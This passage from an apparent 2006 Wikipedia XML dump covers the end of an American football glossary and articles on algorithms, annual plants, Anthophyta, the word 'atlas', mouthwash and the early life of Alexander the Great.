;weak side :when one tight end is used, the side of the field opposite the tight end. In other offensive packages, the side of the field with the fewest offensive players on or just behind the line of scrimmage.
;[[West Coast offense]] :an [[Offensive philosophy (American football)|offensive philosophy]] that uses short, high-percentage passes as the core of a ball-control offense.  Widely used but originally made popular by [[San Francisco 49ers]] coach [[Bill Walsh (football coach)|Bill Walsh]].  A main component of the west coast offense is use of all the eligible receivers in the short passing game.
;[[wide receiver]] :a player [[American_and_Canadian_football_position_names|position]] on [[offensive team| offense]].  He is split wide (usually about 10 yards) from the formation and plays on the line of scrimmage as a '''split end''' or one yard off as a '''flanker'''.
;will :the ''w''eak side linebacker 
;wing back :a player [[American_and_Canadian_football_position_names|position]] in some [[offensive team| offensive]] formations.  Lines up just outside the '''tight end''' and one yard off the '''line of scrimmage'''.  May be a receiver but is more typically used as a blocking back.
;'''[[wishbone formation|wishbone]]''': a formation involving three running backs lined up behind the quarterback in the shape of a Y, similar to the shape of a [[wishbone]].

==X==
;X-receiver :Term used in play calling that usually refers to the '''split end''', or the [[wide receiver]] that lines up on the line of scrimmage.  For example, &quot;Split Right Jet 529 X Post&quot; tells the X-receiver to run a post route.

==Y==
;Y-receiver :Term usually used in offensive play calling to refer to the '''tight end'''.  For example, &quot;Buffalo Right 534 Boot Y Corner&quot; tells the Y-receiver to run a corner route.

==Z==
;Z-receiver :a term used in offensive play calling that usually refers to the '''flanker''', or the [[wide receiver]] that lines up off the line of scrimmage.  For example, &quot;Panther Gun 85 Slant Z Go&quot; tells the Z-receiver to run a '''go''' (also called a '''fly''' or '''streak''') route.

;zone defense :a defense in which players who are in pass coverage cover zones of the field, instead of individual players. Pure zone packages are seldom used; most defenses employ some combination of zone and man coverage. 
;[[zone blitz]] : A defensive package combining a blitz with zone pass coveragee.  Allows the defense to choose the blitzer after the offense shows formation and pass coverage requirements, and features unpredictable blitzes from different linebackers and defensive backs.  Invented by coach [[Dick LeBeau]].

{{compactTOC4}}

[[Category:American football terminology| ]]
[[Category:Glossaries|American football]]</text>
    </revision>
  </page>
  <page>
    <title>Algorithm</title>
    <id>775</id>
    <revision>
      <id>41965420</id>
      <timestamp>2006-03-02T22:49:15Z</timestamp>
      <contributor>
        <username>Jidan</username>
        <id>258229</id>
      </contributor>
      <text xml:space="preserve">[[Image:flowchart.png|frame|right|[[Flowchart|Flowcharts]] are often used to represent algorithms.]]

In [[mathematics]] and [[computer science]], an '''algorithm''' is a procedure (a finite [[set]] of well-defined instructions) for accomplishing some task which, given an initial state, will [[termination|terminate]] in a defined end-state. 

Informally, the concept of an algorithm is often illustrated by the example of a [[recipe]], although many algorithms are much more complex; algorithms often have steps that repeat ([[iteration|iterate]]) or require decisions (such as [[Boolean logic|logic]] or [[inequality|comparison]]). 

The concept of an algorithm originated as a means of recording  procedures for solving mathematical problems such as finding the common divisor of two numbers or multiplying two numbers.  The concept was  formalized in [[1936]] through [[Alan Turing]]'s [[Turing machines]] and [[Alonzo Church]]'s [[lambda calculus]], which in turn formed the foundation of [[computer science]].

Most algorithms can be implemented by [[computer program]]s.

== History ==
The word ''algorithm'' comes from the name of the 9th century mathematician [[al-Khwarizmi|Abu Abdullah Muhammad bin Musa al-Khwarizmi]].  The word ''[[algorism]]'' originally referred only to the rules of performing [[arithmetic]] using [[Hindu-Arabic numeral system|Hindu-Arabic numerals]] but evolved via European Latin translation of al-Khwarizmi's name into ''algorithm'' by the 18th century. The word evolved to include all definite procedures for solving problems or performing tasks. 

The first case of an algorithm written for a [[computer]] was [[Ada Lovelace|Ada Byron]]'s [[Ada Byron's notes on the analytical engine|notes on the analytical engine]] written in 1842, for which she is considered by many to be the world's first [[programmer]].  However, since [[Charles Babbage]] never completed his [[analytical engine]] the algorithm was never implemented on it.

The lack of [[mathematical rigor]] in the &quot;well-defined procedure&quot; definition of algorithms posed some difficulties for mathematicians and [[logic]]ians of the [[19th century|19th]] and early [[20th century|20th centuries]].  This problem was largely solved with the description of the [[Turing machine]], an abstract model of a [[computer]] formulated by [[Alan Turing]], and the demonstration that every method yet found for describing &quot;well-defined procedures&quot; advanced by other mathematicians could be emulated on a Turing machine (a statement known as the [[Church-Turing thesis]]).  Nowadays, a formal criterion for an algorithm is that it is a procedure that can be implemented on a completely specified Turing machine or one of the equivalent [[formalism]]s. 
{{sect-stub}}

== Formalization of algorithms ==
Algorithms are essential to the way [[computer]]s process information, because a [[computer program]] is essentially an algorithm that tells the computer what specific steps to perform (in what specific order) in order to carry out a
specified task, such as calculating employees&amp;#8217; paychecks or printing students&amp;#8217; report cards. Thus, an algorithm can be considered to be any sequence of operations which can be performed by a [[Turing completeness|Turing-complete]] system.

Typically, when an algorithm is associated with processing information, data is read from an input source or device, written to an output sink or device, and/or stored for further use.  Stored data is regarded as part of the internal state of the entity performing the algorithm. The state is stored in a [[data structure]].

For any such computational process, the algorithm must be rigorously defined: specified in the way it applies in all possible circumstances that could arise. That is, any conditional steps must be systematically dealt with, case-by-case; the criteria for each case must be clear (and computable).

Because an algorithm is a precise list of precise steps, the order of computation will almost always be critical to the functioning of the algorithm. Instructions are usually assumed to be listed explicitly, and are described as starting 'from the top' and going 'down to the bottom', an idea that is described more formally by ''[[control flow|flow of control]]''.

So far, this discussion of the formalization of an algorithm has assumed the premises of [[imperative programming]]. This is the most common conception, and it attempts to describe a task in discrete, 'mechanical' means. Unique to this conception of formalized algorithms is the [[assignment operation]], setting the value of a variable. It derives from the intuition of '[[memory]]' as a scratchpad. There is an example below of such an assignment. 

See [[functional programming]] and [[logic programming]] for alternate conceptions of what constitutes an algorithm.

Some writers restrict the definition of ''algorithm'' to procedures that eventually finish.  Others include procedures that could run forever without stopping, arguing that some entity may be required to carry out such permanent tasks.  In the latter case, success can no longer be defined in terms of halting with a meaningful output.  Instead, terms of success that allow for unbounded output sequences must be defined.  For example, an algorithm that verifies if there are more zeros than ones in an infinite random binary sequence must run forever to be effective.  If it is implemented correctly, however, the algorithm's output will be useful: for as long as it examines the sequence, the algorithm will give a positive response while the number of examined zeros outnumber the ones, and a negative response otherwise.  Success for this algorithm could then be defined as eventually outputting only positive responses if there are actually more zeros than ones in the sequence, and in any other case outputting any mixture of positive and negative responses.

Summarizing the above discussion about what algorithm should consist.

* Zero or more Inputs
* One or more Outputs
* Finiteness or computability 
* Definitiveness or Preciseness

=== Implementation ===
An algorithm is a set of steps to perform a computation. Most algorithms will be implemented as [[computer programs]]. They can be expressed in any notation including [[English language|English]] for documenting and research purposes. A more preferred way is to embody (or sometimes called ''codify'') an algorithm by writing of its [[pseudocode]].   [[Pseudocode]] representation avoids ambiguities that are common in English statements. The pseudocode can also be translated into particular programming language more straightforwardly. Algorithms are implemented not only as [[computer program]]s, but often also by other means, such as in a biological [[neural network]] (for example, the [[human brain]] implementing [[arithmetic]] or an insect relocating food), in [[electric circuit]]s, or in a mechanical device.

== Example ==
One of the simplest algorithms is to find the largest number in an (unsorted) list of numbers. The solution necessarily requires looking at every number in the list, but only once at each. From this follows a simple algorithm, which can be stated in [[English language|English]] as

# Let us assume the first item is largest.
# Look at each of the remaining items in the list and make the following adjustment.
#:a. If it is larger than the largest item we gathered so far, make a note of it.
# The latest noted item is the largest in the list when the process is complete.

And here is a more formal coding of the algorithm in [[pseudocode]]:

{{algorithm-begin|name=LargestNumber}}
   Input: A non-empty list of numbers ''L''.
   Output: The ''largest'' number in the list ''L''.
 
   ''largest'' &amp;larr; ''L''&lt;sub&gt;0&lt;/sub&gt;
   '''for each''' ''item'' '''in''' the list ''L&lt;sub&gt;&amp;ge;1&lt;/sub&gt;'', '''do'''
     '''if''' the ''item'' &gt; ''largest'', '''then'''
       ''largest'' &amp;larr; the ''item''
   '''return''' ''largest''
{{algorithm-end}}

For a more complex example, see [[Euclid's algorithm]], which is one of the oldest algorithms.

=== Algorithm analysis ===

As it happens, most people who implement algorithms want to know how much of a particular resource (such as time or storage) is required for a given algorithm. Methods have been developed for the [[analysis of algorithms]] to obtain such quantitative answers; for example, the algorithm above has a time requirement of O(''n''), using the [[big O notation]] with ''n'' as the length of the list. At all times the algorithm only needs to remember two values: the largest number found so far, and its current position in the input list. Therefore  it is said to have a space requirement of ''O(1)''{{ref|space}}.  (Note that the size of the inputs is not counted as space used by the algorithm.)

Different algorithms may complete the same task with a different set of instructions in less or more time, space, or effort than others.  For example, given two different recipes for making potato salad, one may have ''peel the potato'' before ''boil the potato'' while the other presents the steps in the reverse order, yet they both call for these steps to be repeated for all potatoes and end when the potato salad is ready to be eaten.  &lt;!-- poor example .. who would boil each potato separately? and making a salad in general requires no cooking ... --&gt;

The [[analysis of algorithms|analysis and study of algorithms]] is one discipline of [[computer science]], and is often practiced abstractly (without the use of a specific [[programming language]] or other implementation).  In this sense, it resembles other mathematical disciplines in that the analysis focuses on the underlying principles of the algorithm, and not on any particular implementation. The pseudocode is simplest and abstract enough for such analysis.

== Classes ==
There are various ways to classify algorithms, each with its own merits.

=== Classification by implementation ===
One way to classify algorithms is by implementation means. 

* '''Recursion''' or '''iteration''': A [[recursive algorithm]] is one that invokes (makes reference to) itself repeatedly until a certain condition matches, which is a method common to [[functional programming]].  Iterative algorithms use repetitive constructs like loops and sometimes additional data structures like stacks to solve the given problems. Some problems are naturally suited for one implementation to other. For example, [[towers of hanoi]] is well understood in recursive implementation. Every recursive version has an equivalent (but possibly more or less complex) iterative version, and vice versa.

* '''Serial''' or '''parallel''': Algorithms are usually discussed with the assumption that computers execute one instruction of an algorithm at a time. Those computers are sometimes called serial computers.  An algorithm designed for such an environment is called a serial algorithm, as opposed to [[parallel algorithm]]s, which take advantage of computer architectures where several processors can work on a problem at the same time. Parallel algorithms divide the problem into more symmetrical or asymmetrical subproblems and pass them to many processors and put the results back together at one end. The resource consumption in parallel algorithms is both processor cycles on each processors and also the communication overhead between the processors. Sorting algorithms can be parallelized efficiently, but their communication overhead is expensive. Recursive algorithms are generally parallelizable. Some problems have no parallel algorithms, and are called inherently serial problems. Those problems cannot be solved faster by employing more processors. Iterative [[numerical methods]], such as [[Newton's method]] or the [[three body problem]], are algorithms which are inherently serial.

* '''Deterministic''' or '''random''': Deterministic algorithms solve the problem with exact decision at every step of the algorithm. Random algorithms as their name suggests explore the search space randomly until an acceptable solution is found. Various heuristic algorithms (see below) generally fall into the random category.

* '''Exact''' or '''approximate''': While many algorithms reach an exact solution, [[approximation algorithm]]s seek an approximation which is close to the true solution.  Approximation may use either a deterministic or a random strategy. Such algorithms have practical value for many hard problems.

=== Classification by design paradigm ===
Another way of classifying algorithms is by their design methodology or paradigm. There is a certain number of paradigms, each different from the other. Furthermore, each of these categories will include many different types of algorithms. Some commonly found paradigms include:

* '''Divide and conquer'''. A [[divide and conquer algorithm]] repeatedly reduces an instance of a problem to one or more smaller instances of the same problem (usually [[recursion|recursively]]), until the instances are small enough to solve easily. One such example of divide and conquer is merge sorting. Sorting can be done on each segment of data after dividing data into segments and sorting of entire data can be obtained in conquer phase by merging them. A simpler variant of divide and conquer is called '''decrease and conquer algorithm''', that solves an identical subproblem and uses the solution of this subproblem to solve the bigger problem. Divide and conquer divides the problem into multiple subproblems and so conquer stage will be more complex than decrease and conquer algorithms. An example of decrease and conquer algorithm is [[binary search algorithm]].
* '''[[Dynamic programming]]'''. When a problem shows [[optimal substructure]], meaning the optimal solution to a problem can be constructed from optimal solutions to subproblems, and [[overlapping subproblems]], meaning the same subproblems are used to solve many different problem instances, we can often solve the problem quickly using ''dynamic programming'', an approach that avoids recomputing solutions that have already been computed. For example, the shortest path to a goal from a vertex in a weighted [[graph (mathematics)|graph]] can be found by using the shortest path to the goal from all adjacent vertices. Dynamic programming and [[memoization]] go together. The main difference between dynamic programming and divide and conquer is, subproblems are more or less independent in divide and conquer, where as the overlap of subproblems occur in dynamic programming. The difference between the dynamic programming and straightforward recursion is in caching or memoization of recursive calls. Where subproblems are independent, there is no chance of repetition and memoization does not help, so dynamic programming is not a solution for all. By using memoization or maintaining a table of subproblems already solved, dynamic programming reduces the exponential nature of many problems to polynomial complexity.
* '''The greedy method'''. A [[greedy algorithm]] is similar to a [[dynamic programming|dynamic programming algorithm]], but the difference is that solutions to the subproblems do not have to be known at each stage; instead a &quot;greedy&quot; choice can be made of what looks best for the moment. Difference between dynamic programming and greedy method is, it extends the solution with the best possible decision (not all feasible decisions) at a algorithmic stage based on the current local optimum and the best decision (not all possible decisions) made in previous stage. It is not exhaustive, and does not give accurate answer to many problems. But when it works, it will be the fastest method. The most popular greedy algorithm is finding the minimal spanning tree as given by [[kruskal's algorithm|Kruskal]].
* '''Linear programming'''. When solving a problem using [[linear programming]], the program is put into a number of linear [[inequality|inequalities]] and then an attempt is made to maximize (or minimize) the inputs. Many problems (such as the [[Maximum flow problem|maximum flow]] for directed [[graph (mathematics)|graphs]]) can be stated in a linear programming way, and then be solved by a 'generic' algorithm such as the [[simplex algorithm]]. A complex variant of linear programming is called integer programming, where the solution space is restricted to all integers.
* '''[[Reduction (complexity)|Reduction]]''': It is another powerful technique in solving many problems by transforming one problem into another problem. For example, one [[selection algorithm]] for finding the median in an unsorted list is first translating this problem into sorting problem and finding the middle element in sorted list. The goal of reduction algorithms is finding the simplest transformation such that complexity of reduction algorithm does not dominate the complexity of reduced algorithm. This technique is also called ''transform and conquer''.
* '''Search and enumeration'''. Many problems (such as playing [[chess]]) can be modeled as problems on [[graph theory|graphs]]. A [[graph exploration algorithm]] specifies rules for moving around a graph and is useful for such problems. This category also includes the [[search algorithm]]s and [[backtracking]].
* '''The probabilistic and heuristic paradigm'''. Algorithms belonging to this class fit the definition of an algorithm more loosely. 
# [[Probabilistic algorithm]]s are those that make some choices randomly (or pseudo-randomly); for some problems, it can in fact be proven that the fastest solutions must involve some [[randomness]]. 
# [[Genetic algorithm]]s attempt to find solutions to problems by mimicking biological [[evolution]]ary processes, with a cycle of random mutations yielding successive generations of &quot;solutions&quot;. Thus, they emulate reproduction and &quot;survival of the fittest&quot;. In [[genetic programming]], this approach is extended to algorithms, by regarding the algorithm itself as a &quot;solution&quot; to a problem. Also there are 
# [[Heuristic (computer science)|Heuristic]] algorithms, whose general purpose is not to find an optimal solution, but an approximate solution where the time or resources to find a perfect solution are not practical. An example of this would be [[local search (optimization)|local search]], [[taboo search]], or [[simulated annealing]] algorithms, a class of heuristic probabilistic algorithms that vary the solution of a problem by a random amount. The name &quot;simulated annealing&quot; alludes to the metallurgic term meaning the heating and cooling of metal to achieve freedom from defects. The purpose of the random variance is to find close to globally optimal solutions rather than simply locally optimal ones, the idea being that the random element will be decreased as the algorithm settles down to a solution.

=== Classification by field of study ===
Every field of science has its own problems and needs efficient algorithms. Related problems in one field are often studied together. Some example classes are  [[search algorithm]]s, [[sort algorithm]]s, [[merge algorithm]]s, [[numerical analysis|numerical algorithms]], [[graph theory|graph algorithms]], [[string algorithms]], [[computational geometry|computational geometric algorithms]], [[combinatorial|combinatorial algorithms]], [[machine learning]], [[cryptography]], [[data compression]] algorithms and [[parsing|parsing techniques]]. 

''See also:'' '''[[List of algorithms]]''' for more details.

Some of these fields overlap with each other and advancing in algorithms for one field causes advancement in many fields and sometimes completely unrelated fields. For example, dynamic programming is originally invented for optimisation in resource consumption in industries, but it is used in solving broad range of problems in many fields.

=== Classification by complexity ===
Some algorithms complete in linear time, and some complete in exponential amount of time, and some never complete. One problem may have multiple algorithms, and some problems may have no algorithms. Some problems have no known efficient algorithms. There are also mappings from some problems to other problems. So computer scientists found it is suitable to classify the problems rather than algorithms into equivalence classes based on the complexity. 

''See also:'' '''[[Complexity class]]es''' for more details.

== Legal issues ==
Some countries allow algorithms to be [[patented]] when embodied in software or in hardware.  Patents have long been a controversial issue (see, for example, the [[software patent debate]]).

Some countries do not allow certain algorithms, such as cryptographic algorithms, to be [[exported]] from that country.

==See also==
* [[Algorism]]
* [[Approximation algorithms]]
* [[Data structure]]
* [[Randomized algorithm]]
* [[Timeline of algorithms]]
* [[b:A-Level Mathematics/D1/Algorithms|Wikibooks:Algorithms]]

==Notes==
{{note|space}} Although in this example the size of the numbers itself is unbounded, one could therefore argue that the space requirement is O(log ''n''), in practice, however, the space taken up by a number is fixed.

==References==
* [[List of important publications in computer science#Algorithms|Important algorithm-related publications]]

==External links==
* {{DADS|algorithm|algorithm}}
* Gaston H. Gonnet and Ricardo Baeza-Yates: Example programs from [http://www.dcc.uchile.cl/~rbaeza/handbook/ ''Handbook of Algorithms and Data Structures.''] Free source code for many important algorithms.
* [http://www.nist.gov/dads/ Dictionary of Algorithms and Data Structures]. &quot;This is a dictionary of algorithms, algorithmic techniques, data structures, archetypical problems, and related definitions.&quot;
* [http://www.nr.com Numerical Recipes]
* [http://dmoz.org/Computers/Algorithms/ Computers/Algorithms @ dmoz.org]
* [http://musicalgorithms.ewu.edu/ ''Musicalgorithms''] An interesting way of using algorithms to make music.
* [http://www.algorithmist.com/ The Algorithmist] is a web site dedicated to algorithms.

[[Category:Algorithms|*]]
[[Category:Arabic words]]
[[Category:Discrete mathematics]]
[[Category:Mathematical logic]]

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{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Asymmetric algorithm</title>
    <id>776</id>
    <revision>
      <id>23401673</id>
      <timestamp>2005-09-17T16:42:11Z</timestamp>
      <contributor>
        <username>Hurricane111</username>
        <id>99272</id>
      </contributor>
      <comment>Fixed double redirect; [[Wikipedia:Computer help desk/cleanup/double redirects/20050713|You can help!]].</comment>
      <text xml:space="preserve">#REDIRECT [[Public-key cryptography]]</text>
    </revision>
  </page>
  <page>
    <title>Annual plant</title>
    <id>777</id>
    <revision>
      <id>34476075</id>
      <timestamp>2006-01-09T08:59:46Z</timestamp>
      <contributor>
        <ip>70.107.141.78</ip>
      </contributor>
      <text xml:space="preserve">An '''annual plant''' is a [[plant]] that usually germinates, [[flower]]s and dies in one [[year]]. 

Annuals are often used in [[garden]]s  to provide splashes of color, as they tend to produce more flowers than perennials. Some [[perennial plant|perennials]] and [[biennial plant|biennials]] are grown in gardens as annuals for convenience, particularly if they are not considered [[hardiness (plants)|hardy]] for the local climate. Also, many food plants are, or are grown as, annuals, including most domesticated [[Cereal|grain]]s.

The life-cycle of an annual can occur in a period as short as two or three [[month]]s in some species, though most last a bit longer. Vegetables grown in apartment container gardens can last up to two years, if they are maintained indoors during the winter months.

Examples of annual plants include [[pea]]s, [[cauliflower]]s, [[basil]], and [[marigold]]s.

==See also==
*[[Biennial plant]]
*[[Perennial plant]]

----

[[Category:Botany]]
[[Category: gardening]]

[[ca:Planta anual]]
[[de:Einjährige Pflanze]]
[[is:Einær jurt]]
[[ru:Однолетнее растение]]
[[ta:ஆண்டுத் தாவரம்]]</text>
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  <page>
    <title>Anthophyta</title>
    <id>779</id>
    <revision>
      <id>38941522</id>
      <timestamp>2006-02-09T17:50:41Z</timestamp>
      <contributor>
        <username>Brya</username>
        <id>449067</id>
      </contributor>
      <comment>slight expansion</comment>
      <text xml:space="preserve">'''''Anthophyta''''' is a [[descriptive botanical names|descriptive botanical name]] that may be used (Art 16, ''[[ICBN]]'') for what, these days, is more commonly known as ''[[Angiospermae]]'', although in some classifications it was used for what now is known as ''[[Spermatophyta]]''.

The name ''Anthophyta'' literally means &quot;[[flowering plant]]s&quot;; derived from the Greek 'anthos'=&quot;flower&quot; and 'phyton'= &quot;plant&quot;.

[[Category:Plants| sort31 Anthophyta]]
[[category: plant taxonomy| sort31 Anthophyta]]</text>
    </revision>
  </page>
  <page>
    <title>Atlas (disambiguation)</title>
    <id>780</id>
    <revision>
      <id>42153502</id>
      <timestamp>2006-03-04T04:17:21Z</timestamp>
      <contributor>
        <username>CodemauL</username>
        <id>1026617</id>
      </contributor>
      <comment>/* In computers */</comment>
      <text xml:space="preserve">__NOTOC__
:''This page is about the word &quot;atlas&quot;''. ''See also the abbreviation &quot;[[ATLAS]]&quot; (written in [[all caps]])''.

The most common meaning of '''atlas''' is [[atlas (cartography)]], a collection of maps. By extension, a [[road atlas]] is a collection of road maps.

Many other entities are also called &quot;atlas&quot;, some of which are listed below:

===In science===
*[[Atlas (anatomy)]] is the topmost cervical vertebra of the spine
*Atlas [[beetle]], insect
*Atlas [[cedar]], tree
*[[Atlas (moon)]], a moon of Saturn
*[[Atlas (crater)]], on the Earth's moon
*[[Atlas (star)]], a star in the Pleiades star cluster
*[[ATLAS_experiment|Atlas Experiment]] The particle detector experiment.

===In computers===
*[[Atlas Computer (Manchester)|Atlas Computer]], University of Manchester
* [[Titan (computer)]], also know as Atlas 2, University of Cambridge
*[[UNIVAC 1101]], Atlas Computer, Engineering Research Associates
*[[UNIVAC 1103]], Atlas II computer, Engineering Research Associates
*[[ATLAS Programming Language|ATLAS]], a programming language used for automated test equipment
*[[ATLAS.ti]], a [[qualitative analysis]] software[http://www.atlasti.com/index.php]
*[[ATLAS_(programming)]], Microsoft's implementation of [[Ajax_(programming)]] for [[ASP.NET]]

===In books and literature===
*''The Atlas'', a book by the American author [[William Vollmann]]
*''Atlas'', a book of photography by the German artist [[Gerhard Richter]]
*''[[Atlas Shrugged]]'', a novel by Ayn Rand
*[[Atlas Games]], publisher
*[[Atlas Comics (1950s)]] was, along with the 1940s' [[Timely Comics]], one of the two precursors of [[Marvel Comics]]
*[[Atlas/Seaboard Comics]], a short-lived [[comic book]] company created in 1974
*[[Atlas (comic series)|Atlas]], a comic book series published by [[Drawn &amp; Quarterly]]
*[[Atlas (comics)|Atlas]], a Marvel Comics character

===In Transportation===
*[[Atlas (rocket)]]
*[[Atlas Cheetah]] and [[Atlas Oryx]], aircraft
*[[Atlas Van Lines]]

===A last name of===
*[[Charles Atlas]], there are several people who go by this name
*[[Teddy Atlas]], boxing trainer of Mike Tyson
*[[Natacha Atlas]], a female musician
*Atlas is a fictional robot who is the rival of [[Astro Boy]] in the 1980 and 2003 animated series named after the latter
*Atlas is a fictional character from Marvel Comics, best known as a member of the [[Thunderbolts (comics)]]

===Other===
*[[Atlas (mythology)]], the [[Titan (mythology)|Titan]] of [[Greek mythology]]
*[[Atlas mountains]]
*[[Atlas (architecture)]], the column
*[[Atlas (topology)]], a collection of local coordinate charts in mathematics
*[[CF Atlas]], a Mexican football team
*[[Atlas Telecom]], Romanian communications company
*[[Atlas Economic Research Foundation]], an [[Business incubator|incubator]] for [[Free market|free market]] [[Think tank|think tanks]].

{{disambig}}

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[[sl:Atlas]]</text>
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  <page>
    <title>Mouthwash</title>
    <id>782</id>
    <revision>
      <id>41972980</id>
      <timestamp>2006-03-02T23:46:36Z</timestamp>
      <contributor>
        <ip>68.35.107.145</ip>
      </contributor>
      <text xml:space="preserve">[[Antiseptic]] mouth rinse, often called '''mouthwash''', is an [[oral hygiene]] product that claims to kill the [[germ]]s that cause [[Dental plaque|plaque]], [[gingivitis]], and [[bad breath]].  However, it is generally agreed that the use of mouthwash does not eliminate the need for both [[toothbrush|brushing]] and [[flossing]].

Common use involves rinsing one's mouth with about 20 [[milliliter|ml]] (2/3 [[ounce|oz]]) of mouthwash two times a day after brushing.  The mouthwash is typically swished or [[gargling|gargled]] for about half a minute and then spit out. 

Active ingredients in commercial brands of mouthwash can include [[thymol]], [[eucalyptol]], [[methyl salicylate]], [[menthol]], [[chlorhexidine gluconate]], [[hydrogen peroxide]] and sometimes [[enzymes]] and [[calcium]]. Ingredients also include [[water]], sweeteners such as [[sorbitol]] and [[Saccharine|Sodium saccharine]], and a significant amount of [[ethanol|alcohol]] (around 20%).  Because of the alcohol content, it is possible to fail a [[breathalyzer]] test after rinsing one's mouth. Many newer brands are alcohol-free.

A '''salt mouthwash''' is a homemade treatment for mouth infections and is made by dissolving a teaspoon of [[Edible salt|salt]] in a cup of warm water. 

[[Category:Dental equipment]]
{{dentistry-stub}}
[[zh-min-nan:Lo&amp;#781;k-chh&amp;#249;i-ch&amp;#250;i]]
[[fi:Suuvesi]]</text>
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  </page>
  <page>
    <title>Alexander the Great</title>
    <id>783</id>
    <revision>
      <id>42153285</id>
      <timestamp>2006-03-04T04:15:15Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/128.54.165.110|128.54.165.110]] ([[User talk:128.54.165.110|talk]]) to last version by InGenX</comment>
      <text xml:space="preserve">{{redirect|Alexander}}

[[Image:AlexanderAttackingDarius.jpg|thumb|300px|'''Alexander the Great''' fighting Persian king [[Darius III of Persia|Darius III]] (not in frame) ''[[Alexander Mosaic]]'' from [[Pompeii]], from a [[3rd century BC]] original Greek painting, now lost).]]

'''Alexander [[List of people known as The Great|the Great]]''' (in [[Greek language|Greek]] '''{{polytonic|Μέγας Αλέξανδρος}}''', transliterated ''Megas Alexandros'') (Alexander III of Macedon) was born in  [[Pella]], [[Macedon]], in [[July]], [[356 BC]], died in [[Babylon]], on  [[June 10]], [[323 BC]], King of Macedon [[336 BC|336]]&amp;ndash;[[323 BC]], is considered one of the most successful military commanders in world history (if not the greatest), conquering most of the [[Ptolemy_world_map|known world]] before his death. Alexander is also known in the [[Zoroastrianism|Zoroastrian]] [[Middle Persian]] work ''[[Book of Arda Viraf|Arda Wiraz Nāmag]]'' as &quot;the accursed Alexander&quot; due to his conquest of the [[Persian Empire]] and the destruction of its capital [[Persepolis]]. He is also known in Middle Eastern traditions as ''[[Dhul-Qarnayn]]'' in [[Arabic language|Arabic]] and ''Dul-Qarnayim'' in [[Hebrew language|Hebrew]] and [[Aramaic language|Aramaic]] (the two-horned one), apparently due to an image on coins minted during his rule that seemingly depicted him with the two ram's horns of the Egyptian god [[Amun|Ammon]]. He is known as '''Sikandar''' in [[Hindi]]; in fact in [[India]], the term Sikandar is used as a synonym for &quot;expert&quot; or &quot;extremely skilled&quot;.

Following the unification of the multiple city-states of [[ancient Greece]] under the rule of his father, [[Philip II of Macedon]], (a labor Alexander had to repeat twice because the southern Greeks rebelled after Philip's death), Alexander conquered the [[Persian Empire]], including [[Anatolia]], [[Syria]], [[Phoenicia]], [[Gaza]], [[Egypt]], [[Bactria]] and [[Mesopotamia]] and extended the boundaries of his own [[empire]] as far as the [[Punjab region|Punjab]]. Alexander integrated foreigners (non-Macedonians, non-Greeks{{rf|1|MvsG1}}) into his army and administration, leading some scholars to credit him with a &quot;policy of fusion.&quot; He encouraged marriage between his army and foreigners, and practiced it himself. After twelve years of constant military campaigning, Alexander died, possibly of [[malaria]], [[typhoid]], viral [[encephalitis]] or even a drug overdose. His conquests ushered in centuries of Greek settlement and rule over foreign areas, a period known as the [[Hellenistic civilization|Hellenistic Age]]. Alexander himself lived on in the history and myth of both Greek and non-Greek cultures. Already during his lifetime, and especially after his death, his exploits inspired a literary tradition in which he appears as a towering legendary [[hero]] in the tradition of [[Achilles]].

==Early life==
	 
[[Image:AlexanderTheGreat Bust.jpg|thumb|right|[[Bust (sculpture)|Bust]] of Alexander III in the [[British Museum]].]]	 
Alexander was the son of King Philip II of Macedon and of [[Epirus (region)|Epirote]] princess [[Olympias]].  According to [[Plutarch]] (''Alexander'' 3.1,3), Olympias was impregnated not by Philip, who was afraid of her and her affinity for sleeping in the company of snakes, but by [[Zeus]]. Plutarch (''Alexander'' 2.2-3) relates that both Philip and Olympias dreamt of their son's future birth. Olympias dreamed of a loud burst of thunder and of lightning striking her womb. In Philip's dream, he sealed her womb with the seal of the [[lion]]. Alarmed by this, he consulted the seer [[Aristander|Aristander of Telmessus]], who determined that his wife was pregnant and that the child would have the character of a lion.	

[[Aristotle]] was Alexander's tutor; he gave Alexander a thorough training in [[rhetoric]] and [[literature]] and stimulated his interest in [[science]], [[medicine]], and [[philosophy]]. After his visit to the [[Oracle]] of [[Amun|Ammon]] at [[Siwa Oasis|Siwa]], according to all five of the extant historians ([[Arrian]], [[Quintus Curtius Rufus|Curtius]], [[Diodorus Siculus|Diodorus]], [[Junianus Justinus|Justin]], and [[Plutarch]]), rumors spread that the Oracle had revealed Alexander's father to be [[Zeus]], rather than Philip. According to Plutarch (''Alexander'' 2.1), his father descended from [[Heracles]] through [[Caranus]] and his mother descended from [[Aeacus]] through [[Neoptolemus]] and [[Achilles]]. Aristotle gave him a copy of the [[Illiad]] and a knife that he always hid under his pillow at night.

===The ascent of Macedon===	 
When Philip led an attack on [[Byzantium]] in [[340 BC]], Alexander, aged 16, was left in command of Macedonia. In [[339 BC]], Philip took a second wife, to the chagrin of  Alexander's mother Olympias, which led to a quarrel between Alexander and his father and threw into question Alexander's succession to the Macedonian throne. In [[338 BC]], Philip created the [[League of Corinth]]. Alexander also assisted his father at the decisive battle of [[Battle of Chaeronea (338 BC)|Chaeronea]] in this year. The [[Companion cavalry|cavalry]] wing led by Alexander annihilated the [[Sacred Band of Thebes]], an elite corps previously regarded as invincible. Philip was content to deprive Thebes of her dominion over [[Boeotia]] and leave a Macedonian garrison in the citadel.

In [[336 BC]], Philip was assassinated at the wedding of his daughter Cleopatra to [[Alexander I of Epirus|King Alexander of Epirus]]. The [[assassin]] was supposedly a former lover of the king, the disgruntled young nobleman [[Pausanias (assassin)|Pausanias]], who held a grudge against Philip because the king had ignored a complaint he had expressed. Philip's murder was once thought to have been planned with the knowledge and involvement of Alexander or Olympias. Another possible instigator could have been [[Darius III of Persia|Darius III]], the recently crowned King of Persia. [[Plutarch]] mentions an irate letter from Alexander to Darius, where Alexander blames Darius and [[Bagoas]], his [[grand vizier]], for his father's murder, stating that it was Darius who had been bragging with the Greek cities of how he managed to assassinate Philip.

After Philip's death, the army proclaimed Alexander, then aged 20, as the new king of Macedon. Greek cities like [[Athens]] and [[Thebes, Greece|Thebes]], which had been forced to pledge allegiance to Philip, saw in the new king an opportunity to retake their full independence. Alexander moved swiftly and Thebes, which had been most active against him, submitted when he appeared at its gates. The assembled Greeks at the [[Isthmus of Corinth]], with the sole exception of the [[Sparta]]ns, elected him to the command against Persia, which had previously been bestowed upon his father.

